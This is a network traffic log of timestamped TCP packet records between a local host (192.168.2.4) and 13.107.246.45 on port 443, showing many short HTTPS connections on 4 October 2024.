Oct 4, 2024 09:53:21.349102974 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.349248886 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.349277973 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350018978 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350125074 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350186110 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.350264072 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.350264072 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.350306034 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350334883 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350645065 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350809097 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.350882053 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.350976944 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.350976944 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.350991964 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.351011038 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.353235006 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.353295088 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.353329897 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.353368044 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.353416920 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.353471994 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.353501081 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.353507996 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.353581905 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.353605032 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.366597891 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.366621017 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.366686106 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.366713047 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.366836071 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.366836071 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.366856098 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.367027044 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.367058992 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.367218971 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.368758917 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.368796110 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.368860006 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.368969917 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.369004011 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.413559914 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.413696051 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.413800955 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.413799047 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.413860083 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.413899899 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.413942099 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.413975954 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.413992882 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.416269064 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.416353941 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.416429996 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.416548967 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.416570902 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.990570068 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.991919041 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.992870092 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.992903948 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.996778011 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.996794939 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.000452995 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.000479937 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.001535892 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.003849030 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.003860950 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.007574081 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.036729097 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.036761045 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.040206909 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.040214062 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.040350914 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.040432930 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.043637037 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.043651104 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.059484959 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.064455986 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.064497948 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.091717005 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.092050076 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.092200994 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.101605892 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.101675034 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.101727962 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.101748943 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.101797104 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.101845980 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.107639074 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.107659101 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.131088972 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.131119967 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.131156921 CEST	57179	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.131165028 CEST	443	57179	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.133270979 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.133296013 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.133327961 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.133335114 CEST	443	57177	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.138592005 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.138643026 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.138710022 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.138710022 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.138748884 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.138916969 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.138992071 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.139065027 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.142740965 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.142750978 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.142774105 CEST	57178	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.142780066 CEST	443	57178	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.142828941 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.142828941 CEST	57180	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.142863035 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.142887115 CEST	443	57180	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.206660032 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.206717014 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.206796885 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.206861973 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.206917048 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.206986904 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.207468033 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.207468033 CEST	57181	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.207501888 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.207525969 CEST	443	57181	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.208848953 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.208898067 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.209034920 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.209707022 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.209774971 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.209860086 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.210460901 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.210479975 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.210560083 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.210783005 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.210803986 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.210994959 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.211191893 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.211221933 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.211440086 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.211458921 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.211555958 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.211589098 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.211730957 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.211755037 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.212601900 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.212621927 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.212789059 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.212881088 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.212893963 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.864078045 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.864614010 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.864654064 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.865032911 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.865044117 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.886667013 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.887025118 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.887098074 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.887157917 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.887371063 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.887404919 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.887491941 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.887525082 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.887762070 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.887770891 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.887793064 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.888042927 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.888061047 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.888315916 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.888328075 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.897968054 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.898241043 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.898274899 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.898528099 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.898540020 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.966180086 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.966368914 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.966480970 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.966726065 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.966770887 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.966804981 CEST	57184	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.966820002 CEST	443	57184	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.970386028 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.970416069 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.970525980 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.970778942 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.970798016 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.988244057 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.988770962 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.988940954 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.988940954 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.988940954 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.989927053 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.989967108 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990042925 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990065098 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990099907 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990230083 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990248919 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990283012 CEST	57183	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990291119 CEST	443	57183	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990648031 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990678072 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990727901 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990746975 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990797997 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990859032 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990875959 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.990885973 CEST	57182	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.990890026 CEST	443	57182	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.992412090 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.992490053 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.992590904 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.992747068 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.992779016 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.992794991 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.992851973 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.992918968 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.993027925 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.993043900 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.994035959 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.994046926 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:22.994121075 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.994313955 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:22.994326115 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.006539106 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.006959915 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.007061005 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.007200003 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.007200003 CEST	57186	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.007242918 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.007268906 CEST	443	57186	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.009660959 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.009685040 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.009771109 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.009974957 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.010000944 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.290091991 CEST	57185	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.290163040 CEST	443	57185	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.724792004 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.724942923 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.725172043 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.725733995 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.725809097 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.725878954 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.725961924 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.726104021 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.726119041 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.726433039 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.726499081 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.726557016 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.726557016 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.726576090 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.726608992 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.727083921 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.727747917 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.727783918 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.728312016 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.728323936 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.972361088 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.972851038 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.972914934 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:23.973251104 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:23.973261118 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.065243959 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.065382957 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.065565109 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.065650940 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.065699100 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.065727949 CEST	57190	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.065759897 CEST	443	57190	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.065803051 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066003084 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066071987 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.066101074 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066163063 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.066241980 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.066241980 CEST	57187	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.066261053 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066282988 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066306114 CEST	443	57187	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066464901 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066663980 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066719055 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066723108 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.066745043 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066775084 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.066778898 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.066828012 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.067182064 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.067182064 CEST	57188	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.067214966 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.067229033 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.067239046 CEST	443	57188	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.067246914 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.067275047 CEST	57189	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.067290068 CEST	443	57189	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.069761038 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.069853067 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.069932938 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.069967031 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070027113 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.070101976 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070192099 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070213079 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.070281029 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070312023 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070343018 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.070389032 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070426941 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.070457935 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.070475101 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.071104050 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.071125984 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.071242094 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.071367025 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.071382999 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.073947906 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.074014902 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.074064970 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.074130058 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.074182987 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.074336052 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.074336052 CEST	57191	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.074352026 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.074372053 CEST	443	57191	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.076107979 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.076147079 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.076232910 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.076318979 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.076335907 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.726887941 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.728049994 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.729298115 CEST	443	57192	13.107.246.45	192.168.2.4
